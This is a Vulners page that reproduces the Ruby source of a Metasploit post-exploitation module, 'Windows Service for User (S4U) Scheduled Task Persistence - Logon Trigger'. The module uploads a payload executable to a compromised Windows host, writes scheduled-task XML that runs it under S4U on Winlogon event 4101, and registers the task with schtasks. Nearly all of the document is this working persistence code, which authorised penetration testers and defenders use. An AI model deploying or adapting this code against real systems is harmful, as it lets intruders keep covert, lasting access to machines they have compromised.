, Brandon McCann "zeknox" Data Build on a solid foundation with Vulners data We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data Api Power your application with Vulners API The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access App Assess and manage vulnerabilities with Vulners tools Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediationWindows Service for User (S4U) Scheduled Task Persistence - Logon Trigger
![]()
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Exploit::EXE
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
# include Msf::Post::Windows::TaskScheduler # task scheduler doesn't have an XML create method
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/s4u_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Service for User (S4U) Scheduled Task Persistence - Logon Trigger',
'Description' => %q{
Creates a scheduled task that will run using service-for-user (S4U).
This allows the scheduled task to run even as an unprivileged user
that is not logged into the device. This will result in lower security
context, allowing access to local resources only. The module
requires 'Logon as a batch job' permissions (SeBatchLogonRight).
This triggers on event 4101 which validates the Windows license after logon.
},
'License' => MSF_LICENSE,
'Author' => [
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', # original module
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', # original module
'h00die' # persistence updates
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'Targets' => [ [ 'Windows', {} ] ],
'DisclosureDate' => '2013-01-02', # Date of scriptjunkie's blog post
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'https://web.archive.org/web/20131103174249/https://www.pentestgeek.com/2013/02/11/scheduled-tasks-with-s4u-and-on-demand-persistence/' ],
[ 'URL', 'https://web.archive.org/web/20250625082052/http://www.scriptjunkie.us/2013/01/running-code-from-a-non-elevated-account-at-any-time/' ],
[ 'URL', 'https://web.archive.org/web/20131123075026/http://msdn.microsoft.com/en-us/magazine/cc188757.aspx' ],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_options(
[
OptInt.new('EXPIRE_TIME', [false, 'Number of minutes until trigger expires', 0]),
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
]
)
end
def writable_dir
d = super
return session.sys.config.getenv(d) if d.start_with?('%')
d
end
def check
version = get_version_info
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
return CheckCode::Safe('This module only works on Vista/2008 and above') unless version.build_number >= Msf::WindowsVersion::Vista_SP0
return CheckCode::Appears('Target is likely exploitable')
end
##############################################################
# Generate name for payload
# Returns name
def generate_rexename
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + '.exe'
rexename += '.exe' unless rexename.downcase.end_with?('.exe')
rexename
end
##############################################################
# Generate Path for payload upload
# Returns path for XML and payload
def generate_paths(rexename)
# Generate a path to write payload and XML
path = writable_dir
xml_path = "#{path}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.xml"
rexe_path = "#{path}\\#{rexename}"
return xml_path, rexe_path
end
##############################################################
# Upload the executable payload
# Returns boolean for success
def upload_rexe(path, payload)
vprint_status("Uploading #{path}")
if file? path
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
end
begin
write_file(path, payload)
rescue StandardError
fail_with(Failure::Unknown, "Could not upload to #{path}")
end
print_good("Successfully Uploaded remote executable to #{path}")
end
##############################################################
# Creates a scheduled task, exports as XML, deletes task
# Returns normal XML for generic task
def create_xml(rexe_path)
xml_path = File.join(Msf::Config.data_directory, 'exploits', 's4u_persistence.xml')
xml_file = File.new(xml_path, 'r')
xml = xml_file.read
xml_file.close
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack('v*')
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
rescue StandardError
print_warning('Could not read system time from victim... Using your local time to determine creation date')
t = ::Time.now
end
date = t.strftime('%Y-%m-%d')
time = t.strftime('%H:%M:%S')
# Put in correct times
xml = xml.gsub(/DATEHERE/, "#{date}T#{time}")
domain, user = client.sys.config.getuid.split('\\')
# Put in user information
xml = xml.sub(/DOMAINHERE/, user)
xml = xml.sub(/USERHERE/, "#{domain}\\#{user}")
xml = xml.sub(/COMMANDHERE/, rexe_path)
return xml
end
##############################################################
# Takes the XML, alters it based on trigger specified. Will also
# add in expiration tag if used.
# Returns the modified XML
def add_xml_triggers(xml)
# Trigger based on winlogon event, checks windows license key after logon
print_status('This triggers on event 4101 which validates the Windows license after logon')
line = "*[System[EventID='4101']] and *[System[Provider[@Name='Microsoft-Windows-Winlogon']]]"
xml = create_trigger_event_tags('Application', line, xml)
xml
end
##############################################################
# Creates end boundary tag which expires the trigger
# Returns XML for expire
def create_expire_tag
# Get local time, not system time from victim machine
begin
vt = client.railgun.kernel32.GetLocalTime(32)
ut = vt['lpSystemTime'].unpack('v*')
t = ::Time.utc(ut[0], ut[1], ut[3], ut[4], ut[5])
rescue StandardError
print_error('Could not read system time from victim... Using your local time to determine expire date')
t = ::Time.now
end
# Create time object to add expire time to and create tag
t += (datastore['EXPIRE_TIME'] * 60)
date = t.strftime('%Y-%m-%d')
time = t.strftime('%H:%M:%S')
end_boundary = "<EndBoundary>#{date}T#{time}</EndBoundary>"
return end_boundary
end
##############################################################
# Creates trigger XML for event based triggers and replaces
# the time trigger.
# Returns altered XML
def create_trigger_event_tags(log, line, xml)
# Fscked up XML syntax for windows event #{id} in #{log}, weird spacind
# used to maintain natural Windows spacing for XML export
temp_xml = "<EventTrigger>\n"
temp_xml << " #{create_expire_tag}\n" unless datastore['EXPIRE_TIME'] == 0
temp_xml << " <Enabled>true</Enabled>\n"
temp_xml << ' <Subscription><QueryList><Query Id="0" '
temp_xml << "Path=\"#{log}\"><Select Path=\"#{log}\">"
temp_xml << line
temp_xml << '</Select></Query></QueryList>'
temp_xml << "</Subscription>\n"
temp_xml << ' </EventTrigger>'
xml = xml.gsub(%r{<TimeTrigger>.*</TimeTrigger>}m, temp_xml)
return xml
end
##############################################################
# Takes the XML and a path and writes file to filesystem
# Returns boolean for success
def write_xml(xml, path, rexe_path)
if file? path
delete_file(rexe_path)
fail_with(Failure::Unknown, "File #{path} already exists... Exiting")
end
begin
write_file(path, xml)
rescue StandardError
delete_file(rexe_path)
fail_with(Failure::Unknown, "Issues writing XML to #{path}")
end
print_good("Successfully wrote XML file to #{path}")
end
##############################################################
# Takes path and delete file
# Returns boolean for success
def delete_file(path)
rm_f(path)
rescue StandardError
print_warning("Could not delete file #{path}, delete manually")
end
##############################################################
# Takes path and name for task and creates final task
# Returns boolean for success
def create_task(path, schname, rexe_path)
# create task using XML file on victim fs
create_task_response = cmd_exec("cmd /c \"schtasks /create /xml \"#{path}\" /tn \"#{schname}\"\"")
if create_task_response =~ /has successfully been created/
print_good("Persistence task #{schname} created successfully")
# Create to delete commands for exe and task
@clean_up_rc << "execute -f cmd.exe -a \"/c schtasks /delete /tn #{schname} /f\"\n"
@clean_up_rc << "rm \"#{rexe_path}\"\n"
# Delete XML from victim
delete_file(path)
elsif create_task_response =~ /ERROR: Cannot create a file when that file already exists/
# Clean up
delete_file(rexe_path)
delete_file(path)
error = 'The scheduled task name is already in use'
fail_with(Failure::Unknown, error)
else
error = 'Issues creating task using XML file schtasks'
vprint_error("Error: #{create_task_response}")
if (datastore['EVENT_LOG'] == 'Security') && (datastore['TRIGGER'] == 'Event')
print_warning('Security log can restricted by UAC, try a different trigger')
end
# Clean up
delete_file(rexe_path)
delete_file(path)
fail_with(Failure::Unknown, error)
end
end
def install_persistence
# Generate payload
payload = generate_payload_exe
# Generate remote executable name
rexename = generate_rexename
# Generate path names
xml_path, rexe_path = generate_paths(rexename)
# Upload REXE to victim fs
upload_rexe(rexe_path, payload)
# Create basic XML outline
xml = create_xml(rexe_path)
# Fix XML based on trigger
xml = add_xml_triggers(xml)
# Write XML to victim fs, if fail clean up
write_xml(xml, xml_path, rexe_path)
# Name task with Opt or give random name
schname = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
# Create task with modified XML
create_task(xml_path, schname, rexe_path)
end
end